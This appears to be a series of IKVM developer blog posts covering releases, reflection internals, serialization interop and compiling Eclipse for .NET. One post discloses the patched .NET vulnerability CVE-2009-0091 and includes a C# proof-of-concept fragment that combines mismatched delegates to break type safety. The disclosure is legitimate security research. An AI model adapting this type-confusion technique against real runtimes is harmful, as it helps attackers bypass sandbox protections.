Friday, February 19, 2010

0.42 Update 1 RC 1

I fixed a major bug in the automagic .NET serialization support.

Changes:

  • Updated version to 0.42.0.5.
  • Fix for bug #2946842.

Binaries available here: ikvmbin-0.42.0.5.zip

Sources: ikvm-0.42.0.5.zip, openjdk6-b16-stripped.zip

2/19/2010 9:40:08 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Friday, January 29, 2010

New Development Snapshot

I've modified ikvmc to use IKVM.Reflection and largely rewritten ikvmstub to directly work with the ikvm internals instead of using the java reflection API. Both ikvmc and ikvmstub can now process assemblies independent from the .NET runtime they run on. This opens up the possibility to start investigating the possibility of Silverlight support.

Changes:

  • Drag-n-drop fix by Nat.
  • Fixed regression introduced in previous development snapshot, related to field accessors.
  • Removed caching of inner classes.
  • Fix for bug #2908683.
  • Various AWT fixes by Volker.
  • Changed JNI to use standard caller ID mechanism.
  • Various JNI optimizations.
  • Fixed http://gcc.gnu.org/bugzilla/show_bug.cgi?id=41696
  • Fixed exception sorter bug exposed by recent Mono sorting change.
  • Fixed Thread.getAllStackTraces() to resume threads that it suspends.
  • Integrated new IKVM.Reflection implementation.
  • Added AllowMultiple = true to RemappedClassAttribute.
  • Fixed atomic update helper nested types to be invisible from Java.
  • Removed support for "ikvm.stubgen.serialver" property that is no longer needed now that ikvmstub doesn't use the runtime to generate stubs.
  • Removed pre-generated stub jars from cvs and modified build process to generate them during the build.
  • Removed "constant" instance field support (which was only used by ikvmstub and doesn't make any sense anyway).
  • Removed ReflectionOnly support from runtime. Now that ikvmstub no longer requires it, there's no good reason to allow Java code to see ReflectionOnly types.

Binaries available here: ikvmbin-0.43.3681.zip

1/29/2010 9:35:13 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Monday, January 25, 2010

Introducing IKVM.Reflection

In November 2008 I introduced IKVM.Reflection.Emit, today I'm introducing IKVM.Reflection. It superseded IKVM.Reflection.Emit and also includes the ability to read managed assemblies. In addition, I've also added many other features that aren't directly needed for ikvmc, but are useful for other applications. Almost the complete reflection API has now been implemented and there are several API extensions to support managed PE features that reflection doesn't support (well).

Why?

When I started on IKVM.Reflection.Emit, it wasn't at all clear to me that it would be possible to re-implement the System.Reflection.Emit namespace without also re-implementing the System.Reflection namespace, but it turned out it was. I did run into a few snags, such as the inability to subclass Module and Assembly (this was fixed in .NET 4.0) and a couple of Mono bugs, but on the whole IKVM.Reflection.Emit was very successful. So why then re-implement the System.Reflection namespace as well? The main reasons are Silverlight and .NET 4.0. For ikvmc to be able to target versions of the runtime different from the one it is currently running on, it is necessary to avoid using System.Reflection, because System.Reflection can only ever work with the mscorlib version of the current runtime.

ikvmc & ikvmstub

In the coming time, I plan on integrating IKVM.Reflection into ikvmc (most of the work for this has already been done, if you've been following the ikvm-commit list, you may have seen some changes go in and wondered why they are necessary) and ikvmstub (I haven't started on this yet). Currently, ikvmstub uses java reflection to expose members of the .NET types in an assembly. I chose this because it was the easiest way to make sure that what ikvmstub generated matched the ikvm runtime behavior (because it simply used the ikvm runtime to do the mapping). There are two downsides to this approach. The first is the same as mentioned above with ikvmc, you can only generate mscorlib stubs for the runtime you're currently running on. The second is more philosophical, it introduces a cycle in the build process. To build the IKVM.OpenJDK.*.dll assemblies, you need mscorlib.jar and System.jar, but to generate these stubs you need a compiled class library. To solve both these issues, I plan to rewrite ikvmstub to work directly on the internal ikvm runtime representations (with conditional compilation, like ikvmc does).

Features

This list is not exhaustive, but here are some interesting features of IKVM.Reflection (that are not in System.Reflection):

  • There is no AppDomain global state. Everything is contained in an instance of the IKVM.Reflection.Universe class.
  • No thread safety. If you want thread safety, you'll have to lock the universe object during every operation.
  • You can choose what version of mscorlib to load in the universe (using Universe.LoadMscorlib()) and by implementing a Universe.AssemblyResolve handler you can decide the framework assembly unification policy.
  • Support for querying and emitting .NET 2.0 style declarative security.
  • Support for defining unmanaged resources from a byte array (in .NET, AssemblyBuilder.DefineUnmanagedResources(byte[]) is broken, only the overload that accepts a filename works).
  • The ability to read and emit .NET 1.1, .NET 2.0 and .NET 4.0 assemblies (while running on, for example, .NET 2.0).
  • Full support for vararg calling convention.
  • Support for reading field RVA data (e.g. for the fields that are used by the C# compiler to initialize arrays).
  • The ability to enable/disable "exception block assistance", or get "clever" assistance.
  • Support for querying methodimpl mappings.
  • Support for reference, pointer and array types with custom modifiers (this CLR feature is used by C++/CLI).

Missing Features

Some things are still missing. The most notable being the Emit differences. The emit code was based on the IKVM.Reflection.Emit code and likewise still lacks some of the querying support (for baked types), although the new code is much better than the code in IKVM.Reflection.Emit.dll in this respect.

Here's a list of methods that can still throw a NotImplementedException:

  • FieldBuilder.__GetDataFromRVA()
  • ModuleBuilder.ResolveType()
  • ModuleBuilder.ResolveMethod()
  • ModuleBuilder.ResolveField()
  • ModuleBuilder.ResolveMember()
  • ModuleBuilder.ResolveString()
  • ModuleBuilder.__ResolveOptionalParameterTypes()
  • ModuleBuilder.GetArrayMethod()
  • GenericTypeParameterBuilder.BaseType
  • GenericTypeParameterBuilder.__GetDeclaredInterfaces()
  • GenericTypeParameterBuilder.GetGenericParameterConstraints()
  • GenericTypeParameterBuilder.GenericParameterAttributes
  • TypeBuilder.CreateType() (when invoked a second time)
  • TypeBuilder.__GetDeclaredFields()
  • TypeBuilder.__GetDeclaredEvents()
  • TypeBuilder.__GetDeclaredProperties()
  • ISymbolDocumentWriter.SetCheckSum()
  • ISymbolDocumentWriter.SetSource()
  • Most methods in ISymbolWriter
  • ManifestResourceInfo.ResourceLocation (for resources located in another assembly)
  • ManifestResourceInfo.ReferencedAssembly
  • ManifestResourceInfo.FileName
  • MethodBase.GetMethodBody() (if the method data contains unexpected sections)
  • Type.IsAssignableFrom()

Missing members:

  • Module.GetSignerCertificate()
  • Type.GUID
  • ParameterBuilder.GetToken()
  • PropertyBuilder.PropertyToken
  • MethodBuilder.Signature
  • ConstructorBuilder.Signature
  • MethodBuilder.SetSymCustomAttribute()
  • ModuleBuilder.SetSymCustomAttribute()
  • ConstructorBuilder.SetSymCustomAttribute()
  • ModuleBuilder.DefineResource()
  • AssemblyBuilder.ModuleResolve
  • Assembly.GetManifestResourceStream()
  • Assembly.GetSatelliteAssembly()
  • Assembly.GetFile()
  • Assembly.GetFiles()
  • MethodBuilder.SetMarshal() (obsolete, use MarshalAsAttribute instead)
  • ParameterBuilder.SetMarshal() (obsolete, use MarshalAsAttribute instead)
  • FieldBuilder.SetMarshal() (obsolete, use MarshalAsAttribute instead)
  • ModuleBuilder.DefineUnmanagedResource(byte[]) (because it is broken)
  • AssemblyBuilder.DefineUnmanagedResource(byte[]) (because it is broken)
  • MethodBuilder.CreateMethodBody()
  • Everything that doesn't make sense in a ReflectionOnly context.

Concepts that are not implemented:

  • Most metadata tokens returned by Emit objects are not properly typed (and can't be used for anything, other than comparing them against other metadata tokens).
  • When defining debugging symbols, a single method can only point to a single source document.
  • All type/member lookup operations are case sensitive.
  • Implementing a custom System.Reflection.Binder is not supported.
  • Modules with unsorted metadata tables are not supported.
  • When Type.GetMethods() (or __GetDeclaredMethods) is called on Array types it throws a NotImplementedException, instead of returning the special array accessor methods.
  • Managed function pointer types are not supported. Like System.Reflection, they are returned as System.IntPtr instead.

Linker Prototype

To see if I did miss any important CLR features, I wrote a prototype assembly linker. It is pretty capable, but should not be confused for something that is usable for anything other than exploring. I've used it with C++/CLI (compiled with /clr:pure) to test the more esoteric CLR features. The source for the linker prototype is in the zip linked to below.

The IKVM.Reflection source code is available in cvs. If you just want the binary, the LinkerPrototype.zip contains it.

1/25/2010 8:28:20 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Tuesday, January 12, 2010

0.42 Update 1 RC 0

Yesterday, I released 0.42 and as seemingly always happens a bug was reported right after that. So with that we're now on the road to the 0.42 Update 1 release. This is release candidate 0.

Changes:

Binaries available here: ikvmbin-0.42.0.4.zip

Sources: ikvm-0.42.0.4.zip, openjdk6-b16-stripped.zip

1/12/2010 6:11:43 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, January 11, 2010

IKVM 0.42 Released

I've released IKVM 0.42 to SourceForge. The binaries are identical to the ones in release candidate 3.

Release Notes

This document lists the known issues and incompatibilities.

Runtime

  • Code unloading (aka class GC) is not supported.
  • In Java static initializers can deadlock, on .NET some threads can see uninitialized state in cases where deadlock would occur on the JVM.
  • JNI
     
    • Only supported in the default AppDomain.
    • Only the JNICALL calling convention is supported! (On Windows, HotSpot appears to also support the cdecl calling convention).
    • Cannot call string contructors on already existing string instances
    • A few limitations in Invocation API support
       
      • The Invocation API is only supported when running on .NET.
      • JNI_CreateJavaVM: init options "-verbose[:class|:gc|:jni]", "vfprintf", "exit" and "abort" are not implemented. The JDK 1.1 version of JavaVMInitArgs isn't supported.
      • JNI_GetDefaultJavaVMInitArgs not implemented
      • JNI_GetCreatedJavaVMs only returns the JavaVM if the VM was started through JNI or a JNI call that retrieves the JavaVM has already occurred.
      • DestroyJVM is only partially implemented (it waits until there are no more non-daemon Java threads and then returns JNI_ERR).
      • DetachCurrentThread doesn't release monitors held by the thread.
    • Native libraries are never unloaded (because code unloading is not supported).
  • The JVM allows any reference type to be passed where an interface reference is expected (and to store any reference type in an interface reference type field), on IKVM this results in an IncompatibleClassChangeError.
  • monitorenter / monitorexit cannot be used on unitialized this reference.
  • Floating point is not fully spec compliant.
  • A method returning a boolean that returns an integer other than 0 or 1 behaves differently (this also applies to byte/char/short and for method parameters).
  • Synchronized blocks are not async exception safe.
  • Ghost arrays don't throw ArrayStoreException when you store an object that doesn't implement the ghost interface.
  • Class loading is more eager than on the reference VM.
  • Interface implementation methods are never really final (interface can be reimplemented by .NET subclasses).
  • JSR-133 finalization spec change is not fully implemented. The JSR-133 changes dictate that an object should not be finalized unless the Object constructor has run successfully, but this isn't implemented.

Static Compiler (ikvmc)

  • Some subtle differences with ikvmc compiled code for public members inherited from non-public base classes (so called "access stubs"). Because the access stub lives in a derived class, when accessing a member in a base class, the derived cctor will be run whereas java (and ikvm) only runs the base cctor.
  • Try blocks around base class ctor invocation result in unverifiable code (no known compilers produce this type of code).
  • Try/catch blocks before base class ctor invocation result in unverifiable code (this actually happens with the Eclipse compiler when you pass a class literal to the base class ctor and compile with -target 1.4).
  • Only code compiled in a single assembly fully obeys the JLS binary compatibility rules.
  • An assembly can only contain one resource with a particular name.
  • Passing incorrect command line options to ikvmc may result in an exception rather than a proper error messages.

Class Library

Most class library code is based on OpenJDK 6 build 16. Below is a list of divergences and IKVM specific implementation notes.

com.sun.security.auth.module        Not implemented.
java.applet GNU Classpath implementation. Not implemented.
java.awt Partial System.Windows.Forms based back-end. Not supported.
java.io.Console Not implemented.
java.lang.instrument Not implemented.
java.lang.management Not implemented.
java.net No IPv6 support implemented.
java.net.ProxySelector Getting the default system proxy for a URL is not implemented.
java.text.Bidi GNU Classpath implementation. Not supported.
java.util.zip Partially based on GNU Classpath implementation.
javax.imageio.plugins.jpeg Partial implementation. JPEGs can be read and written, but there is no metadata support.
javax.management Not implemented.
javax.print Not implemented.
javax.script Not implemented.
javax.smartcardio Not implemented.
javax.sound Not implemented.
javax.swing Not supported.
javax.tools Not implemented.
org.ietfs.jgss Not implemented.
sun.jdbc.odbc Implementation based on .NET ODBC managed provider.
sun.net.www.content.audio Audio content handlers not implemented.
sun.net.www.content.image Image content handlers not implemented.

The entire public API is available, so "Not implemented." for javax.print, for example, means that the API is there but there is no back-end to provide the actual printing support. "Not supported." means that the code is there and probably works at least somewhat, but that I'm less likely to fix bugs reported in these areas.

Specific API notes:

  • java.lang.Thread.stop(Throwable t) doesn't support throwing arbitrary exceptions on other threads (only java.lang.ThreadDeath).
  • java.lang.Thread.holdsLock(Object o) causes a spurious notify on the object (this is allowed by the J2SE 5.0 spec).
  • java.lang.String.intern() strings are never garbage collected.
  • Weak/soft references and reference queues are inefficient and do not fully implement the required semantics.
  • java.lang.ref.SoftReference: Soft references are not guaranteed to be cleared before an OutOfMemoryError is thrown.
  • Threads started outside of Java aren't "visible" (e.g. in ThreadGroup.enumerate()) until they first call Thread.currentThread().
  • java.lang.Thread.getState() returns WAITING or TIMED_WAITING instead of BLOCKING when we're inside Object.wait() and blocking to re-acquire the monitor.
  • java.nio.channel.FileChannel.lock() shared locks are only supported on Windows NT derived operating systems.
  • java.lang.SecurityManager: Deprecated methods not implemented: classDepth(String), inClass(String), classLoaderDepth(), currentLoadedClass(), currentClassLoader(), inClassLoader()

Supported Platforms

This release has been tested on the following CLI implementations / platforms:

CLI Implementation       Architecture      Operating System
.NET 2.0 SP2 x86 Windows
.NET 2.0 SP2 x64 Windows


Partial Trust

There is experimental support for running in partial trust.

1/11/2010 6:36:26 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, December 07, 2009

New Development Snapshot

The 0.42 release still isn't done, but in the mean time, development of 0.43 continues.

Changes:

  • Fixed interface method resolution (via JNI) and various other minor JNI method resolution compatibility tweaks.
  • When there is no Java code on the stack JNIEnv->FindClass() should use the system class loader instead of the boot class loader.
  • Removed micro optimization that requires full trust on .NET 4.0.
  • Removed .NET 4.0 workaround.
  • Renamed ILGenerator.__GetILOffset() to ILGenerator.ILOffset to match with .NET 4.0.
  • More AWT fixes by Volker
  • Added support for adding "new-style" declarative security (i.e. .NET 2.0 compatible) to IKVM.Reflection.Emit.
  • Various minor optimizations
  • Added a couple of missing classes (that tools.jar depends on).
  • Removed classes that aren't supposed to be in the boot class path (they're from tools.jar). This includes the entire IKVM.OpenJDK.XML.RelaxNG assembly.
  • Created IKVM.OpenJDK.Tools.dll (which is going to be the equivalent of tools.jar).
  • Fixed IsPackageAccessibleFrom to consider class loaders, instead of InternalsVisibleToAttribute
  • Added automatic access to internal accessibility members across assemblies in multi target compilation (previously this was only done for -sharedclassloader scenarios)
  • Cleaned up existing field access stubs (now known as "type 1") and added type 2 access stubs to make public fields that have a non-public field type accessible.
  • Moved FindMainMethod from ikvm.exe into runtime, to avoid the need for hacks (to avoid NoClassDefFoundErrors).
  • Deleting of an non existing Preferences Key should not throw an exception.
  • Type export map performance bug fix by Eyal Alaluf. AssemblyName doesn't implement Equals/GetHashCode and this caused the map to contain an assembly entry for every type.
  • Added IKVM_EXPERIMENTAL_JDK_7 environment variable to enable loading Java 7 class files. Note that no JDK 7 functionality has been implemented yet.
  • Mangle all artificial type names if they clash with Java type names in the same assembly.
  • Added two constructors to ThowsAttribute that take a Type and a Type[] for greater convenience when applying the attribute to user code and for compatibility with Grasshopper's ThrowsAttribute.
  • Various minor reflection optimizations.
  • Don't automatically hide Java "op_Implicit" methods (marked with SpecialName). Instead mark the ones we automatically generate with HideFromJavaAttribute.

Binaries available here: ikvmbin-0.43.3628.zip

12/7/2009 9:06:05 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Monday, November 30, 2009

IKVM 0.42 Release Candidate 3

A new release candidate is available.

Changes since previous release candidate:

  • Changed version to 0.42.0.3.
  • Fix for bug #2887316.
  • Eyal Alaluf fixed a massive performance bug that caused IKVM.OpenJDK.Core.dll to be 1.4 MB too big and allocate a couple of MB of unnecessary strings on initialization.
  • Fixed JNI to use system class loader instead of bootstrap class loader when no Java code is on the stack.
  • Fixed JNI method lookup algorithm.

Binaries available here: ikvmbin-0.42.0.3.zip

Sources: ikvm-0.42.0.3.zip, openjdk6-b16-stripped.zip

11/30/2009 7:00:02 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [4]

Wednesday, November 25, 2009

Running Eclipse with NGEN

In the weeks before PDC I've been working on compiling Eclipse with ikvmc. This works was triggered by Mainsoft's Eyal Alaluf who asked me to work on this and also provided a desperately needed starting point. I had wanted to do this for ages, but didn't feel like struggling with the Eclipse build system to figure out how to get started.

A couple of the changes in the most recent development snapshot are specifically related to this. In particular the ability for custom assembly class loaders to be called when the module initializer is run. This enables the statically compiled Eclipse OSGi bundles to be lazily activated on first use.

Instructions

Here are the steps needed to compile Eclipse 3.4.2 x86 on Windows:

  1. Download eclipse-SDK-3.4.2-win32.zip
  2. Download ikvmbin-0.43.3595.zip
  3. Download ikvm-eclipse-0.1.zip
  4. Unzip eclipse-SDK-3.4.2-win32.zip
  5. Open a Command Prompt in the just unzipped eclipse directory
  6. Unzip ikvmbin-0.43.3595.zip in that directory
  7. Unzip ikvm-eclipse-0.1.zip in that directory
  8. Create a directory for the compiled plugins:
    md plugins-compiled
  9. Run ikvmc to compile the eclipse plugins:
    ikvm\bin\ikvmc @response0.txt
    ikvm\bin\ikvmc @response1.txt
    (Ignore the warnings and note that this takes a while and requires a lot of memory. I haven't tested this on a 32 bit machine, it may well run out of address space there.)
  10. You can now run "eclipse-clr.exe" to start Eclipse. Note that if you compare startup times, the first time that Eclipse starts it does some initial configuration, so don't compare the first startup with the subsequent ones.
  11. Optionally you can run ngen-all.bat to compile all assemblies to native code. Make sure that you have the x86 version of ngen.exe in your path. Note that this also takes a while.

Source Code

The sources for eclipse-clr.exe are in this Visual Studio 2008 solution. It's pretty small and most of what it does is configure and hook OSGi to change the bundle loading and initialization. If you want to build eclipse-clr.exe, you first have to run ikvmc on response0.txt, then build eclipse-clr.exe (it depends on the OSGi assembly built with response0.txt) and after that you can run ikvmc on response1.txt (it depends on eclipse-clr.exe, because that contains the custom assembly class loader used for the bundles).

The response0.txt and response1.txt files were generated from the OSGi manifests and if there is interest I can publish the source to that as well, but is pretty hacky.

Performance

When compiled to native with ngen, Eclipse starts up faster than with JDK 1.6 on my systems. In theory the private working set should also be significantly less, allowing multiple Eclipse instances to use far less memory.

Disclaimer

This is just a technology demonstration, not production code and has not been extensively tested.

11/25/2009 6:32:30 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [16]

Tuesday, November 10, 2009

Going Crazy with Generics, or The Story of ThreadLocal(Of T)

Jon Skeet recently blogged about the performance of [ThreadStatic] versus the new .NET 4.0 ThreadLocal<T>. I was surprised to see that ThreadLocal<T> was faster than [ThreadStatic], because ThreadLocal<T> uses [ThreadStatic] as the underlying primitive.

How do you go from a static field to a per instance field? It's simple, once you think of it. You (ab)use generic types. Here's a simplified ThreadLocal<T>:

public class ThreadLocal<T>
{
  HolderBase holder;
  static int count;
  static Type[] types = new Type[] { typeof(C1), typeof(C2), typeof(C3) };

  abstract class HolderBase
  {
    internal abstract T Value { get; set; }
  }

  class C1 { }
  class C2 { }
  class C3 { }

  class Holder : HolderBase
  {
    [ThreadStatic]
    static T val;

    internal override T Value
    {
      get { return val; }
      set { val = value; }
    }
  }

  public ThreadLocal()
  {
    holder = MakeHolder(Interlocked.Increment(ref count) - 1);
  }

  HolderBase MakeHolder(int index)
  {
    Type t1 = types[index % 3];
    Type t2 = types[(index / 3) % 3];
    Type t3 = types[index / 9];
    Type type = typeof(Holder<,,>).MakeGenericType(typeof(T), t1, t2, t3);
    return (HolderBase)Activator.CreateInstance(type);
  }

  public T Value
  {
    get { return holder.Value; }
    set { holder.Value = value; }
  }
}

The real ThreadLocal<T> type in .NET 4.0 beta 2 is much more complex, because it has to deal with recycling the types and protecting against returning a value from a recycled type. It also uses a higher base counting system  to number the types, the maximum number of types generated (per T) is 4096 in beta 2. After you allocate more than that, it falls back to using a holder type that uses Thread.SetData().

I'm not sure what to make of this. It's a clever trick, but I think it ultimately is too clever. I benchmarked a simpler approach using arrays (where each ThreadLocal<T> simply allocated an index in the [ThreadStatic] array) and it was a little bit faster and doesn't suffer from the downsides of creating a gazillion types (which probably take more memory and those types stay around until the AppDomain is destroyed).

Finally a tip for Microsoft, move the Cn types out of ThreadLocal, because currently they are also generic (due to the fact that C# automatically makes nested types generic based on the outer type's generic type parameters) and that is unnecessarily wasteful.

11/10/2009 7:03:31 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, November 04, 2009

New Development Snapshot

While the 0.42 release is still baking, a new development snapshot is available.

Changes:

  • Nat worked on clipboard and drag-and-drop support.
  • Volker worked on print support.
  • Various awt fixes/improvements.
  • Code cleanup/refactoring to prepare for IKVM.Reflection (replacement of IKVM.Reflection.Emit).
  • Fixed ikvmstub to ignore private interfaces.
  • Removed .NET 4.0 beta 1 workarounds.
  • Simplified the obj1.getClass() == obj2.getClass() intrinsic to avoid requiring full trust on .NET 4.0.
  • Optimized field reflection. We now delay creating the dynamic methods to access the field until after the field has been accessed a couple of times, this saves a lot of memory for fields that are only usused a few times.
  • Added -publicpackage:<pkg> option to ikvmc. Contributed by Eyal Alaluf of Mainsoft.
  • Added public API to get ClassLoader from Assembly.
  • Added (optional) per-module initialization to custom assembly class loaders.
  • Added ikvmc option -nopeercrossreference and the ability to use -r with peer assemblies.

Binaries available here: ikvmbin-0.43.3595.zip

11/4/2009 3:23:41 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [5]

Tuesday, October 27, 2009

MS09-061 Vulnerability Details

On "Patch Tuesday" two weeks ago Microsoft released security bulletin MS09-061. This bulletin describes three issues, one of which I reported to Microsoft on September 12, 2008. I will describe the details of what is now known as CVE-2009-0091. I have no inside knowledge of the other two vulnerabilities.

As mentioned in the original blog entry, I found the bug while browsing the Rotor sources. Here's the fragment that caught my eye:

    // This method will combine this delegate with the passed delegate
    // to form a new delegate.

    protected override sealed Delegate CombineImpl(Delegate follow)
    {
        // Verify that the types are the same...
        // Actually, we don't need to do this, because Delegate.Combine already checks this.
//      if (!InternalEqualTypes(this, follow)
//          throw new ArgumentException(...)

This is from multicastdelegate.cs (Warning: this link leads to Microsoft Shared Source licensed code).

The code that is commented out is a security check. After seeing this I immediately confirmed (using ildasm) that the, at that time current, production version of mscorlib also didn't include the check. I also checked .NET 1.1 and in that version the check is present. I also checked a pre-release version of Silverlight 2.0 and it also didn't include the check. The subsequent Silverlight 2.0 release on October 14, 2008 included the fix. Microsoft did not find it necessary to credit me with the fix (not even privately).

Why Is This a Security Vulnerability?

In my example type safety exploit, I used a union to bypass type safety. That wasn't an actual security vulnerability because such a union requires full trust. However, if we can combine two different delegate types we can do the same and because of the missing type check this was possible.

If you take TypeSafetyExploitPoC.cs and replace the TypeSystemHole method with the following and add a reference to an assembly containing CombinePoCHelper.il (written in MSIL because that is the easiest way to write your own MulticastDelegate subclass that can call the protected CombineImpl method).

delegate void AnotherDelegate(Union1 u2);

static Union1 TypeSystemHole(Union2 u2)
{
  Union1 u1 = null;
  CombineHelper del1 = delegate { };
  AnotherDelegate del2 = delegate(Union1 u) { u1 = u; };
  del1 = (CombineHelper)CombineHelper.CombineHack(del1, del2);
  del1(u2);
  return u1;
}

Voila!

10/27/2009 8:17:15 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Monday, October 26, 2009

IKVM 0.42 Release Candidate 2

A new release candidate is available.

Changes since previous release candidate:

  • Changed version to 0.42.0.2.
  • Fix for bug #2883889.
  • Fix for bug #2881954.
  • Fixed automagic serialization interop to work correctly in the face of a __WorkaroundBaseClass__ base type.
  • Small update for .NET 4.0 beta 2.

Binaries available here: ikvmbin-0.42.0.2.zip

Sources: ikvm-0.42.0.2.zip, openjdk6-b16-stripped.zip

10/26/2009 6:06:45 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, October 19, 2009

IKVM 0.42 Release Candidate 1

A new release candidate is available.

Changes since previous release candidate:

  • Changed version to 0.42.0.1.
  • Fixed a regression introduced in 0.40 that caused a System.NotSupportedException to be thrown by ikvmc when compiling multiple targets where one target (indirectly) implements a non-public interface from another target. Thanks to Erik Vullings for reporting this.

Binaries available here: ikvmbin-0.42.0.1.zip

Sources: ikvm-0.42.0.1.zip, openjdk6-b16-stripped.zip

10/19/2009 6:56:56 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Monday, October 12, 2009

IKVM 0.42 Release Candidate 0

The first release candidate is available.

Changes since last 0.41 development snapshot:

  • Changed version to 0.42.0.0.
  • Fixed virtual file system regression that caused NullReferenceException when trying to access a non-existing directory.
  • Volker added some print support code.
  • Fixed assertion in ILGenerator.
  • Fixed regression in reflection introduced when we started allowing open generic types to be visible to Java (for stack walking).
  • Fixed bug #2876211.

Binary available here: ikvmbin-0.42.0.0.zip

Sources: ikvm-0.42.0.0.zip, openjdk6-b16-stripped.zip

10/12/2009 6:43:34 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, October 02, 2009

New Development Snapshot

We're starting to prepare for the 0.42 release. This is the last 0.41 development snapshot.

Changes:

  • Added support for exposing open generic types as Java classes (special "handle" classes that can only be used for stack walking). Fixes bug #2843805.
  • ArrayTypeWrapper: Fixed a race condition and avoid holding the lock while calling external code.
  • Removed vestigial compact framework support code.
  • Some source file restructuring (Moved DynamicTypeWrapper and DotNetTypeWrapper classes into their own source files and AssemblyClassLoader and BootstrapClassLoader clases into AssemblyClassLoader.cs).
  • Fixed regression introduced with recent label handling changes. Bug #2847725.
  • Various AWT fixes by Nat and Volker.
  • Rewrote custom assembly class loader initialization to avoid running user code (static initializer) while holding a lock and to better handle invocation of getClassLoader() during the class loader constructor (or static initializer).
  • Added hack to expose more custom attributes from mscorlib as annotations.

Binary available here: ikvmbin-0.41.3562.zip

10/2/2009 6:58:51 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Tuesday, August 25, 2009

New Development Snapshot

Time for another snapshot as there have been a large number of changes since the previous snapshot. The Swing/AWT work that Volker and more recently also Nat have been doing has resulted in SwingSet2 now running quite nicely. Check out these screenshots:

Click for full size Click for full size Click for full size

Note that this is running the OpenJDK Swing code, with the GNU Classpath code the source code view and the HTML tab (the blue "Bouncing Babies!" text is HTML rendered in the tab) never worked. So this is great progress, but a lot more is still needed. Keyboard (and focus) support is still lacking and font support is still fairly limited, for example.

Changes:

  • More AWT/Swing work by Volker Berlin and Nat Luengnaruemitchai.
  • Fixed detection of dynamic assemblies (at runtime).
  • Fixed NullReferenceException when getting annotations on delegate constructor for delegates defined in Java.
  • Added App.config setting (ikvm-emit-symbols) to force emitting debug symbols on or off.
  • Fixed regression introduced in 0.40 that caused ikvmc to crash when specifying a non-public custom class loader.
  • Fixed bug in the handling of Annotation.__ReturnValue and Annotation.__Multiple fake types.
  • Implemented automatic .NET serialization support for Java serializable type (see here for details).
  • Fix for #2829717. Constructing java.lang.String instances from JNI should redirect to static helper method.
  • Several minor IKVM.Reflection.Emit fixes.
  • Added ILGenerator.__GetILOffset().
  • Changed CodeEmitter to use ILGenerator.__GetILOffset() (when usig IKVM.Reflection.Emit) instead of manually tracking the IL offset.
  • Added "clever" exception block assistance mode to ILGenerator. In this mode, leave and endfinally instructions are only auto inserted when necessary.
  • Use ILGenerator's new "clever" mode in ikvmc to produce smaller code.
  • Fixed IKVM.Reflection.Emit to put .pdb file in same location as assembly (instead of current directory). Thanks to Dawid Weiss for reporting this.
  • Removed ISymWrapper.dll dependency from IKVM.Reflection.Emit.PdbWriter.dll.
  • IKVM.Reflection.Emit.PdbWriter.dll now caches the debugging information, instead of "streaming" it into the unmanged PDB writer to workaround the ridiculous memory usage of the unmanaged PDB writer. It is now possible to build the full core class library assemblies set with debugging enabled.
  • Fixed major regression in pdb debugging support introduced in 0.40 that caused local variable support to be completely broken.

Binary available here: ikvmbin-0.41.3524.zip

8/25/2009 9:21:38 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, August 24, 2009

Microsoft PDC

If you're going to the PDC and want to chat, let me know.

Meet me in Los Angeles -- PDC 2009

8/24/2009 6:23:45 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, August 11, 2009

Serialization Interop

I'm not a big fan of serialization, but there is one use that makes sense to me; intra-process, cross-AppDomain serialization. If you have ever done any cross-AppDomain work with IKVM you've probably run into the situation where a Java exception couldn't be serialized across the AppDomain boundary.

I've finally addressed this by building automatic (oneway) serialization interop support into IKVM. This means that most Java classes that are serializable should now automatically become .NET serializable. There are, however, some important caveats:

  • Serialized streams will not be compatible between different IKVM releases. This is intended *only* for cross-AppDomain serialization between different instances of the same IKVM code.
  • ObjectOutputStream.writeUnshared() and ObjectInputStream.readUnshared() have not been implemented. So any classes that rely on those will fail to serialize/deserialize.
  • Instances of dynamically loaded Java classes and statically (ikvmc) compiled classes that implement readResolve() will fail deserialization if they (directly or indirectly) serialize self references.
  • Deserialization ordering may be different, meaning that if a class has a custom deserialization method, it may encounter objects that have not been completely deserialized.
  • Under some circumstances, a class that implements readResolve() may have its readResolve() method called twice on the same object.
  • When a ghost array is serialized, it is serialized as an object[] (i.e. it loses its specific type).

Again, any Java class that is serializable (i.e. that implements java.io.Serializable or java.io.Externalizable and follows the associated rules) is generally automatically .NET serializable. There are a couple of exceptions where ikvmc and the runtime will assume that your class wants to handle its own .NET serialization:

Using the .NET custom serialization custom attributes OnDeserializedAttribute, OnDeserializingAttribute, OnSerializedAttribute or OnSerializingAttribute does not interfere with getting automatic serialization support (and the .NET serialization engine will call the annotated methods at the appropriate times).

Inheritance - Extending Java classes in .NET

When you want to subclass a serializable Java class in (e.g.) C# and make your subclass serializable as well, you need to do two simple things:

  1. Add a [Serializable] attribute to your class.
  2. Add a .NET deserialization constructor that calls the base class constructor and does nothing else.

Here's an example of extending java.util.ArrayList:

[Serializable]
class MyList : java.util.ArrayList
{
  private int exampleField;

  public MyList()
  {
  }

  protected MyList(SerializationInfo info, StreamingContext context)
    : base(info, context)
  {
  }
}

MyList is now .NET serializable and exampleField will automatically be serialized/deserialized.

Inheritance - Extending .NET classes in Java

For this scenario, nothing has really changed. You still need to follow the standard .NET rules for creating serializable types.

Serializing .NET objects in Java

The automatic serialization interop is only one way, so you won't be able to serialize .NET objects using Java serialization (unless they happen to implement java.io.Serializable.__Interface or java.io.Externalizable). I currently have no plans to implement this functionality.

8/11/2009 9:24:07 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Friday, July 31, 2009

